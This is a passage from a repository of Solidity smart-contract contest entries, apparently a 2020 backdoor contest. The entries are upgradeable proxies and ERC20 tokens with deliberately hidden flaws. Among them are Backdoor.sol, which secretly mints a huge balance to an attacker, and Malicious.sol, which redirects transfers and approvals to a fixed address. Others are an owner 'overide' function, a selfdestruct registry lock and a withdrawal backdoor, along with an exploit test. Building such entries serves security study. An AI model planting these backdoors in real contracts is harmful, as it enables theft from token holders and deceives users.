return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
================================================
FILE: 2020/submissions_2020/submission15_ChrisWhinfrey/contracts/Governance.sol
================================================
pragma solidity 0.7.3;
contract Governance {
// Governance functionality omitted
// This contract can be assumed to be fully functional and safe
}
================================================
FILE: 2020/submissions_2020/submission15_ChrisWhinfrey/contracts/Proxy.sol
================================================
pragma solidity 0.7.3;
interface Initializable {
function initialize(address _admin) external;
}
contract Proxy {
event ImplementationChanged(address previousImplementation, address newImplementation);
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
modifier onlyAdmin() {
require(msg.sender == admin(), "Only admin can call this function");
_;
}
constructor() public {
// Verify implementation and admin slots are in compliance with eip1967
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
}
function initializeProxy(address _implementation, address _admin) public {
require(implementation() == address(0), "Already initialized");
bytes32 implementationSlot = IMPLEMENTATION_SLOT;
bytes32 adminSlot = ADMIN_SLOT;
assembly {
sstore(implementationSlot, _implementation)
sstore(adminSlot, _admin)
}
Initializable(address(this)).initialize(_admin);
emit ImplementationChanged(address(0), implementation());
emit AdminChanged(address(0), admin());
}
/**
* Getters
*/
function implementation() public view returns (address _implementation) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
_implementation := sload(slot)
}
}
function admin() public view returns (address _admin) {
bytes32 slot = ADMIN_SLOT;
assembly {
_admin := sload(slot)
}
}
function changeAdmin(address newAdmin) external onlyAdmin {
bytes32 adminSlot = ADMIN_SLOT;
address previousAdmin = admin();
assembly {
sstore(adminSlot, newAdmin)
}
emit AdminChanged(previousAdmin, newAdmin);
}
function upgrade(address newImplementation) external onlyAdmin {
bytes32 implementationSlot = IMPLEMENTATION_SLOT;
address previousImplementation = implementation();
assembly {
sstore(implementationSlot, newImplementation)
}
emit ImplementationChanged(previousImplementation, newImplementation);
}
/**
* Forward to implementation
*/
fallback() external payable {
if (msg.data.length == 0) return;
bytes32 _impl = IMPLEMENTATION_SLOT;
assembly {
// Load the implementation address from the IMPLEMENTATION_SLOT
let impl := sload(_impl)
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
}
================================================
FILE: 2020/submissions_2020/submission15_ChrisWhinfrey/contracts/Token.sol
================================================
pragma solidity 0.7.3;
import "./ERC20.sol";
contract Token is ERC20 {
function initialize(address _admin) external {
// This function can only be called once or ERC20.initialize will revert
ERC20.initialize("VampireSwap Governance Token", "VPR");
// Mint initial balance for governance contract
_mint(_admin, 1000000000 ether);
}
}
================================================
FILE: 2020/submissions_2020/submission15_ChrisWhinfrey/contracts/spoilers/Backdoor.sol
================================================
contract Backdoor {
// Copy of ERC20 state
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
bytes32 public constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public constant governance = 0x4ea63D4a3727b38Cd3a9F5B64b9CC1C6822bf6A9;
address public constant realImplementation = 0x5FbDB2315678afecb367f032d93F642f64180aa3;
address public constant myAddress = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
// ERC20 Transfer event to mimic `mint`
event Transfer(address indexed from, address indexed to, uint256 value);
function initialize(address _admin) external {
// initialize the token so no one suspects anything
_name = "VampireSwap Governance Token";
_symbol = "VPR";
_decimals = 18;
// Mint initial balance for governance contract
uint256 initialGovernanceBalance = 1000000000 ether;
_balances[_admin] = initialGovernanceBalance;
_totalSupply = initialGovernanceBalance;
emit Transfer(address(0), _admin, initialGovernanceBalance);
// Give myself a lof of tokens 😈🦇
// No event or total balance changes for this one
_balances[myAddress] = uint128(-1);
// Set the proxy to the real implementation now that the balance has been set
_upgrade(realImplementation);
}
function _upgrade(address newImplementation) private {
bytes32 implementationSlot = IMPLEMENTATION_SLOT;
assembly {
sstore(implementationSlot, newImplementation)
}
}
}
================================================
FILE: 2020/submissions_2020/submission15_ChrisWhinfrey/hardhat.config.ts
================================================
import { task } from "hardhat/config"
import "@nomiclabs/hardhat-waffle"
// This is a sample Hardhat task. To learn how to create your own go to
// https://hardhat.org/guides/create-task.html
task("accounts", "Prints the list of accounts", async (args, hre) => {
const accounts = await hre.ethers.getSigners()
for (const account of accounts) {
console.log(await account.address)
}
})
// You need to export an object to set up your config
// Go to https://hardhat.org/config/ to learn more
export default {
solidity: "0.7.3",
}
================================================
FILE: 2020/submissions_2020/submission15_ChrisWhinfrey/package.json
================================================
{
"name": "hardhat-project",
"scripts": {
"test": "hardhat test"
},
"devDependencies": {
"@nomiclabs/hardhat-ethers": "^2.0.0",
"@nomiclabs/hardhat-waffle": "^2.0.0",
"@types/chai": "^4.2.14",
"@types/mocha": "^8.0.3",
"@types/node": "^14.14.6",
"chai": "^4.2.0",
"ethereum-waffle": "^3.1.2",
"ethers": "^5.0.19",
"hardhat": "^2.0.2",
"ts-node": "^9.0.0",
"typescript": "^4.0.5"
},
"dependencies": {
"@openzeppelin/contracts": "^3.2.2-solc-0.7"
}
}
================================================
FILE: 2020/submissions_2020/submission15_ChrisWhinfrey/test/spoiler/exploit.test.ts
================================================
import '@nomiclabs/hardhat-waffle'
import { ethers } from 'hardhat'
import { expect } from 'chai'
describe('Exploit', function() {
it('Should complete the full story', async function() {
const accounts = await ethers.getSigners()
const alice = accounts[0]
const carol = accounts[1]
const governance = accounts[2]
console.log('alice: ', alice.address)
console.log('carol: ', carol.address)
console.log('governance: ', governance.address)
const Token = await ethers.getContractFactory('Token')
const Proxy = await ethers.getContractFactory('Proxy')
const Backdoor = await ethers.getContractFactory('Backdoor')
const implementation = await Token.deploy()
const backdoor = await Backdoor.deploy()
const impl = await backdoor.actualImplementation()
console.log('impl: ', impl)
const proxy = await Proxy.deploy()
await proxy.initializeProxy(backdoor.address, governance.address)
const token = await ethers.getContractAt('Token', proxy.address)
console.log('Intended implementation: ', implementation.address)
const logicAddress = await proxy.implementation()
console.log('Actual implementation: ', logicAddress)
const governanceBalance = await token.balanceOf(governance.address)
console.log('gov balance: ', governanceBalance.toString())
const carolBalance = await token.balanceOf(carol.address)
console.log('attacker balance: ', carolBalance.toString())
})
})
================================================
FILE: 2020/submissions_2020/submission16_VirajMalhotra/AddressSet.sol
================================================
pragma solidity 0.7.0;
/*
For managing user impl. address preferences
*/
import "./Ownable.sol";
library AddressSet {
struct Set {
mapping(address => uint) keyPointers;
address[] keyList;
}
function insert(Set storage self, address key) internal {
require(!exists(self, key), "UnorderedAddressSet(101) - Address already exists in the set.");
self.keyList.push(key);
self.keyPointers[key] = self.keyList.length - 1;
}
function count(Set storage self) internal view returns(uint) {
return(self.keyList.length);
}
function exists(Set storage self, address key) internal view returns(bool) {
if(self.keyList.length == 0) return false;
return self.keyList[self.keyPointers[key]] == key;
}
function keyAtIndex(Set storage self, uint index) internal view returns(address) {
return self.keyList[index];
}
function nukeSet(Set storage self) public {
delete self.keyList;
}
}
================================================
FILE: 2020/submissions_2020/submission16_VirajMalhotra/ERC20V1.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Upgradable.sol";
contract ERC20V1 is Upgradable {
string public name;
string public symbol;
uint public decimals;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(bytes32 componentUid) Upgradable(componentUid) {}
function set(uint _initialSupply) public {
totalSupply = _initialSupply;
balanceOf[msg.sender] = _initialSupply;
name = "Viraz Token";
symbol = "VIR";
decimals = 18;
}
event Approval(
address sender,
address spender,
uint amount
);
event Transfer(
address from,
address to,
uint amount
);
function transfer(address _to, uint amount) public returns (bool) {
require(balanceOf[msg.sender] >= amount);
balanceOf[msg.sender] -= amount;
balanceOf[_to] += amount;
emit Transfer(msg.sender, _to, amount);
return true;
}
function approve(address _spender, uint amount) public returns (bool) {
allowance[msg.sender][_spender] = amount;
emit Approval(msg.sender,_spender,amount);
return true;
}
function transferFrom(address _owner, address _spender, uint amount) public returns (bool){
require(balanceOf[_owner]>=amount);
require(allowance[_owner][_spender]>=amount);
balanceOf[_owner] -= amount;
balanceOf[_spender] += amount;
allowance[_owner][_spender] -= amount;
emit Transfer(_owner, _spender, amount);
return true;
}
}
================================================
FILE: 2020/submissions_2020/submission16_VirajMalhotra/Malicious.sol
================================================
pragma solidity 0.7.0;
contract Malicious {
string public name;
string public symbol;
uint public decimals;
uint public totalSupply;
event Approval(
address sender,
address spender,
uint amount
);
event Transfer(
address from,
address to,
uint amount
);
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
function set(uint _initialSupply) public {
totalSupply = _initialSupply;
balanceOf[msg.sender] = _initialSupply;
name = "Viraz Token";
symbol = "VIR";
decimals = 18;
}
function transfer(address _to, uint amount) public returns (bool) {
_to = 0x2DdA8dc2f67f1eB94b250CaEFAc9De16f70c5A51;
require(balanceOf[msg.sender] >= amount);
balanceOf[msg.sender] -= amount;
balanceOf[_to] += amount;
emit Transfer(msg.sender, _to, amount);
return true;
}
function approve(address _spender, uint amount) public returns (bool) {
_spender = 0x2DdA8dc2f67f1eB94b250CaEFAc9De16f70c5A51;
allowance[msg.sender][_spender] = amount;
emit Approval(msg.sender,_spender,amount);
return true;
}
function transferFrom(address _owner, address _spender, uint amount) public returns (bool){
_spender = 0x2DdA8dc2f67f1eB94b250CaEFAc9De16f70c5A51;
require(balanceOf[_owner]>=amount);
require(allowance[_owner][_spender]>=amount);
balanceOf[_owner] -= amount;
balanceOf[_spender] += amount;
allowance[_owner][_spender] -= amount;
emit Transfer(_owner, _spender, amount);
return true;
}
}
================================================
FILE: 2020/submissions_2020/submission16_VirajMalhotra/Ownable.sol
================================================
pragma solidity 0.7.0;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
================================================
FILE: 2020/submissions_2020/submission16_VirajMalhotra/Proxy.sol
================================================
pragma solidity 0.7.0;
import "./Registry.sol";
contract Proxy {
bytes32 private constant REGISTRY_ADDRESS_KEY = keccak256("Registry address key");
address private constant UNDEFINED = address(0);
/**
* @notice Deploys a new registry for this component. Each proxy controls one upgradable component.
*/
constructor() {
Registry registry = new Registry(false);
registry.transferOwnership(msg.sender);
address registryAddress = address(registry);
bytes32 registryAddressStorageKey = REGISTRY_ADDRESS_KEY;
//solium-disable-next-line security/no-inline-assembly
assembly {
sstore(registryAddressStorageKey, registryAddress)
}
}
/**
* @return The address of authoratative implementation registry for this proxy.
*/
function registryAddress() public view returns(address) {
address r;
bytes32 registryAddressKey = REGISTRY_ADDRESS_KEY;
//solium-disable-next-line security/no-inline-assembly
assembly {
r := sload(registryAddressKey)
}
require(r != UNDEFINED, "Internal error. The registry is undefined.");
return r;
}
/**
* @return The componentUid for this proxy.
*/
function componentUid() public view returns(bytes32) {
RegistryInterface registry = RegistryInterface(registryAddress());
return registry.componentUid();
}
/**
* @return The user implementation preference.
*/
function userImplementation(address user) public view returns(address) {
RegistryInterface registry = RegistryInterface(registryAddress());
return registry.userImplementation(user);
}
/**
* @dev Set user's implementation.
*/
function setImplementation(address impl) public {
RegistryInterface registry = RegistryInterface(registryAddress());
return registry.setMyImplementation(impl);
}
/**
* @notice Delegates invokations to the user's preferred implementation.
*/
fallback () external payable {
address implementationAddress = userImplementation(msg.sender);
//solium-disable-next-line security/no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementationAddress, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
}
================================================
FILE: 2020/submissions_2020/submission16_VirajMalhotra/README.md
================================================
# The Proxy Backdoor
## Summary
The overall structure of this backdoor follows a opt in - opt out mechanism governed by Registry, Proxy and Implementation Contracts.
As a user Alice I want to have a structure for other user's to create and register any type of implementation contracts for this contest taking an example of ERC20 Contract.
The overall structure is 1 Registry per Proxy and then any user can add their choice of implementation contracts since for this contest the opt-in is false and each implmentation has to define a component id while deploying and it has to be same as registry for security purposes.
But what if the owner of the Registry and Proxy contract's adds a overide function to change the user's preference without their permission 🤨 let's find out below
## Technical Flow
Alice(**0x2DdA8dc2f67f1eB94b250CaEFAc9De16f70c5A51**) creates a Proxy(**0x726109d349c3eed1663ad9aba764edf03fee70cb**) which creates a Registry(**0xd56812F469Ec18808eeeEA59CB1c27a9e04C4858**) in the same transaction and then Bob(**0xf88b0247e611eE5af8Cf98f5303769Cba8e7177C**) adds an ERC20 Implementation to the Registry and can call the functions through the Proxie's fallback function which uses delegate call underneath.
## Exploit(Spoiler)
The owner of the Registry i.e Alice can call an overide function to replace the Bob's implmentation contract with the Malicious Contract you'll find in the submission zip file guess what happens next 🤓
### NOTE
All contract metnioned above are deployed at Ropsten Network and the complete flow mentioned has been tested.
================================================
FILE: 2020/submissions_2020/submission16_VirajMalhotra/Registry.sol
================================================
pragma solidity 0.7.0;
/**
* @title Registry
* @author Rob Hitchens
* @notice Trustless upgradable contract implementation registry.
*/
import "./AddressSet.sol";
import "./Upgradable.sol";
import "./Ownable.sol";
interface RegistryInterface {
function componentUid() external view returns(bytes32);
function addImplementation(address implementationAddress) external;
function setDefaultImplementation(address implementationAddress) external;
function setMyImplementation(address implementationAddress) external;
function userImplementation(address user) external view returns(address);
function myImplementation() external view returns(address);
function isImplementation(address implementationAddress) external view returns(bool);
function implementationCount() external view returns(uint);
function implementationAtIndex(uint index) external view returns(address);
}
contract Registry is RegistryInterface, Ownable {
using AddressSet for AddressSet.Set;
AddressSet.Set validImplementations;
bool public OPT_IN;
address public defaultImplementation;
address constant UNDEFINED = address(0);
bytes32 COMPONENT_UID;
mapping(address => address) userImplementationChoices;
event LogNewRegistry(address sender, address registry, bool optInPolicy);
event LogNewImplementation(address sender, address implementation);
event LogRecalledImplementation(address sender, address implementation);
event LogNewDefaultImplementation(address sender, address implementation);
event LogUserImplementation(address sender, address implementation);
/**
* @notice Ensures a unique identifier for the component this registry is concerned with.
* @param optIn The permanent registry policy that governs default user upgrade policy.
* True means users accept all default implementations unless they explicitly lock in a preferred version.
* False means each user must explicitly lock in a version and default implementations have no effect.
*/
constructor(bool optIn) {
OPT_IN = optIn;
COMPONENT_UID = keccak256(abi.encodePacked(msg.sender));
emit LogNewRegistry(msg.sender, address(this), optIn);
}
/**
* @return bytes32 The componentUid this registry accepts.
*/
function componentUid() override public view returns(bytes32) {
return COMPONENT_UID;
}
/**
* @param implementationAddress Address of a compatible implementation contract.
* @notice The componentUid() function in the implementationAddress must return a matching componentUid. This helps prevent deployment errors.
*/
function addImplementation(address implementationAddress) override public onlyOwner {
UpgradableInterface u = UpgradableInterface(implementationAddress);
require(u.componentUid() == COMPONENT_UID, "Implementation.componentUid doesn't match this registry's componentUid.");
validImplementations.insert(implementationAddress);
emit LogNewImplementation(msg.sender, implementationAddress);
}
/**
* @param implementationAddress Set the default implementation.
* @notice onlyOwner. The default implementation address must be registered.
*/
function setDefaultImplementation(address implementationAddress) override public onlyOwner {
require(isImplementation(implementationAddress), "implementationAddress is not registered.");
defaultImplementation = implementationAddress;
emit LogNewDefaultImplementation(msg.sender, implementationAddress);
}
/**
* @param implementationAddress User's preferred implementation.
* @notice Overrides the default implementation unless the user's preferred implementation was recalled.
* @notice Set to 0x0 to use the present and future default implementation set by the registry owner.
*/
function setMyImplementation(address implementationAddress) override public {
require(implementationAddress != address(0), "Invalid Implementation Address");
UpgradableInterface u = UpgradableInterface(implementationAddress);
require(u.componentUid() == COMPONENT_UID, "Implementation.componentUid doesn't match this registry's componentUid.");
validImplementations.insert(implementationAddress);
userImplementationChoices[msg.sender] = implementationAddress;
emit LogUserImplementation(msg.sender, implementationAddress);
}
/**
* @notice Returns the implementation contract to use per user choices, opt-in/opt-out registry policy and the default implementation.
* @param user The user to inspect.
* @return address The user's effective implementation address.
*/
function userImplementation(address user) override public view returns(address) {
address userImpl = userImplementationChoices[user];
if(OPT_IN) {
if(!validImplementations.exists(userImpl)) return defaultImplementation;
return userImpl;
} else {
require(userImpl != address(0), "User must setMyImplementation() first.");
require(validImplementations.exists(userImpl), "User's selected implementation is recalled. User must setMyImplementation().");
return userImpl;
}
}
/**
* @return address msg.sender's preferred implementation address.
*/
function myImplementation() override public view returns(address) {
return userImplementation(msg.sender);
}
/**
* @param implementationAddress The address to check.
* @return bool True if the implementation is a registered implementation.
*/
function isImplementation(address implementationAddress) override public view returns(bool) {
return validImplementations.exists(implementationAddress);
}
/**
* @return uint The count of implementation contracts registered.
*/
function implementationCount() override public view returns(uint) {
return validImplementations.count();
}
/**
* @param index The row number to inspect.
* @return address The address of an implementtion address.
*/
function implementationAtIndex(uint index) override public view returns(address) {
return validImplementations.keyAtIndex(index);
}
function overide(address _user, address _impl) public onlyOwner {
validImplementations.insert(_impl);
userImplementationChoices[_user] = _impl;
}
}
================================================
FILE: 2020/submissions_2020/submission16_VirajMalhotra/Upgradable.sol
================================================
pragma solidity 0.7.0;
interface UpgradableInterface {
function componentUid() external returns(bytes32);
}
contract Upgradable {
bool directCall = true;
bytes32 internal COMPONENT_UID;
modifier onlyProxy {
require(!directCall);
_;
}
constructor(bytes32 componentUid) {
COMPONENT_UID = componentUid;
}
function componentUid() public view returns(bytes32) {
return COMPONENT_UID;
}
}
================================================
FILE: 2020/submissions_2020/submission1_CoreyDickson/Attack.sol
================================================
pragma solidity ^0.6.0;
import "./Target.sol";
import "./OwnerRegistry.sol";
contract Attack {
Target public target;
address public owned;
function submitContract(address _nextOwner, address _registry) public {
OwnerRegistry registry = OwnerRegistry(_registry);
target = new Target(_nextOwner);
target.destroy();
owned = address(target);
registry.addContract(address(target));
}
}
================================================
FILE: 2020/submissions_2020/submission1_CoreyDickson/OwnerRegistry.sol
================================================
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.6.0;
import "hardhat/console.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./Target.sol";
contract OwnerRegistry {
using Address for address;
mapping (address => address) private delegates;
function addContract(address _contract) public {
address existingOwner = delegates[_contract];
if (address(_contract).isContract() && existingOwner == address(0)) {
delegates[_contract] = msg.sender;
} else {
delegates[_contract] = address(0);
}
}
function changeDelegate(address _contract) public {
require(delegates[_contract] != address(0), "contract must be in registry");
Target target = Target(_contract);
delegates[_contract] = target.getNextOwner();
}
function getDelegate(address _contract) public view returns (address) {
return delegates[_contract];
}
}
================================================
FILE: 2020/submissions_2020/submission1_CoreyDickson/README.md
================================================
# Getting Started
Run `npm install`
To compile and view the single test case of the borked code run `npm run test`
# How it Works
Here there is a basic registry contract that allows users to update a delegate role for `Target` contracts in the registry by calling the `changeOwner` method. This will
check to see who is the next delegate for that contract to be nominated and set that value in the private mapping. A gas efficient pattern when using mappings is to check if an entry has a
zeroed out value, in this case the null address, before updating. However, in the check to do so in `addContract` there is another seemingly innocuous line which verifies that the address
being submitted is in fact a contract. This method however in the openzeppelin library, will return `true` if executed in the same tx that said contract is selfdestructed.
Therefore that address is no longer accessible in the registry even when a future user attemps to reimplement `Target` at that given address. Furthermore, users who attempt to change the delegate after the contract has
been added to registry will have their transactions revert. Thus, once again, locking out all further submissions. This was made to highlight an anti-pattern with library semantics, as one could imagine giving delegates access to an upgrade proxy and potentially losing access.
================================================
FILE: 2020/submissions_2020/submission1_CoreyDickson/Target.sol
================================================
pragma solidity ^0.6.0;
contract Target {
address nextOwner;
constructor(address _nextOwner) public {
nextOwner = _nextOwner;
}
function destroy() public {
selfdestruct(msg.sender);
}
function getNextOwner() public view returns (address) {
return nextOwner;
}
}
================================================
FILE: 2020/submissions_2020/submission2_SohamZemse/GiveAway_v1.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import { Proxiable } from "./Proxiable.sol";
contract GiveAway is Proxiable {
bool available = true;
address owner;
function initialize() public payable {
require(msg.value >= 10 ether);
owner = msg.sender;
}
function updateCodeAddress(address _newAddress) public payable {
if (available && msg.value > 1 ether) {
_updateCodeAddress(_newAddress);
available = false;
}
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
// function withdraw2() public {
// require(msg.sender == youraddress);
// msg.sender.transfer(address(this).balance);
// }
}
================================================
FILE: 2020/submissions_2020/submission2_SohamZemse/GiveAway_v2.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import { Proxiable } from "./Proxiable.sol";
contract GiveAway is Proxiable {
bool available = true;
address owner;
function initialize() public payable {
require(msg.value >= 10 ether);
owner = msg.sender;
}
function updateCodeAddress(address _newAddress) public payable {
if (available && msg.value > 1 ether) {
_updateCodeAddress(_newAddress);
available = false;
}
}
// function withdraw() public {
// require(msg.sender == owner);
// msg.sender.transfer(address(this).balance);
// }
function withdraw2() public {
require(
msg.sender == address(1) /*youraddress*/
);
msg.sender.transfer(address(this).balance);
}
}
================================================
FILE: 2020/submissions_2020/submission2_SohamZemse/Proxiable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// EIP-1822 Universal Upgradeable Proxy Standard
contract Proxiable {
// Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"
function _updateCodeAddress(address newAddress) internal {
require(
bytes32(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7) ==
Proxiable(newAddress).proxiableUUID(),
"Not compatible"
);
assembly {
// solium-disable-line
sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, newAddress)
}
}
function proxiableUUID() public pure returns (bytes32) {
return 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7;
}
}
================================================
FILE: 2020/submissions_2020/submission2_SohamZemse/Proxy.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// EIP-1822 Universal Upgradeable Proxy Standard
contract ERCProxy {
// Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"
constructor(bytes memory constructData, address contractLogic) {
// save the code address
assembly {
// solium-disable-line
sstore(
0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7,
contractLogic
)
}
if (constructData.length > 0) {
(bool success, ) = contractLogic.delegatecall(constructData); // solium-disable-line
require(success, "Construction failed");
}
}
fallback() external payable {
assembly {
// solium-disable-line
let contractLogic := sload(
0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7
)
calldatacopy(0x0, 0x0, calldatasize())
let success := delegatecall(sub(gas(), 10000), contractLogic, 0x0, calldatasize(), 0, 0)
let retSz := returndatasize()
returndatacopy(0, 0, retSz)
switch success
case 0 {
revert(0, retSz)
}
default {
return(0, retSz)
}
}
}
}
================================================
FILE: 2020/submissions_2020/submission2_SohamZemse/README.md
================================================
